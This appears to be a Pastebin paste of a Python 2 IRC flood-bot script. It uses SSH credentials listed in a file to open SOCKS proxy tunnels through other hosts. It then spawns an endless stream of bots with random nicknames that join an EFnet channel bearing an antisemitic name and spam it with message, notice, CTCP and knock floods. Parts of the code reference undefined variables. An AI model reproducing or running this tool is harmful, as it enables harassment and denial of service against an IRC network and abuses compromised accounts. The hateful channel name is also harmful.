Advertisement
Guest User

Untitled

a guest
May 2nd, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.72 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import socket
  5. import random
  6. import time
  7. import socks
  8. from threading import Thread
  9.  
  10. network = 'irc.efnet.org'
  11. port = 6667
  12. channel = '#jewz'
  13.  
  14. accounts = 'accounts.txt'
  15. baseport = 9050
  16. maxletters = 7
  17. alphabet = 'qwertyuiopasdfghjklzxcvbnm'
  18. acctfile = open(accounts,'r')
  19. lines=0
  20. ssh_pid = 0
  21. for line in acctfile:
  22.   ssh_data = line
  23.   ssh_exploded = ssh_data.split(',')
  24.   ssh_host = ssh_exploded[0]
  25.   ssh_user = ssh_exploded[1]
  26.   ssh_pass = ssh_exploded[2]
  27.   ssh_port = ssh_exploded[3]
  28.   ssh_pid = os.fork()
  29.   if not ssh_pid:
  30.     os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
  31.     break
  32.   else:
  33.     lines += 1
  34. if ssh_pid:
  35.   acctfile.close()
  36.  
  37. class bot(Thread):
  38.   def __init__ (self,seed):
  39.     Thread.__init__(self)
  40.     self.seed = seed
  41.  
  42.   def lrecv(self):
  43.     c, s = '', ''
  44.     while c != '\n':
  45.       c = self.irc.recv(1)
  46.       if c == '':  # connection closed
  47.         break
  48.       s += c
  49.     return s.strip('\r\n')
  50.  
  51.   def run(self):
  52.     nick=''
  53.     joined=0
  54.     for x in random.sample(alphabet,random.randint(2,maxletters)):
  55.       nick+=x
  56.     irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
  57.     irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
  58.     irc.connect ( ( network, port ) )
  59.    
  60.     irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
  61.     irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
  62.     while 1:
  63.       line = self.lrecv()
  64.       if self.r['001'].match(line):
  65.         break
  66.     irc.send ( 'JOIN ' + channel + '\r\n' )
  67.     while 1:
  68.       data=self.lrecv()
  69.       if data.find ( 'PING' ) != -1:
  70.         irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
  71.       if data.find ( '404' ) != -1:
  72.         joined = 0
  73.       if data.find ( '473' ) != -1:
  74.         irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
  75.       if data.find ( 'randnick' ) != -1:
  76.         nick=''
  77.         for x in random.sample(alphabet,random.randint(2,maxletters)):
  78.           nick+=x
  79.         irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
  80.       if joined == 0:
  81.         irc.send ( 'JOIN ' + channel + '\r\n' )
  82.         joined = 1
  83.         time.sleep ( .5 )
  84.       if joined == 1:
  85.         irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
  86.         irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
  87.         irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\r\n' )
  88.         time.sleep ( .5 )
  89.  
  90. def spawn():
  91.   while True:
  92.     bot_instance = bot(str(random.randint(1,9999)))
  93.     bot_instance.start()
  94.  
  95. spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement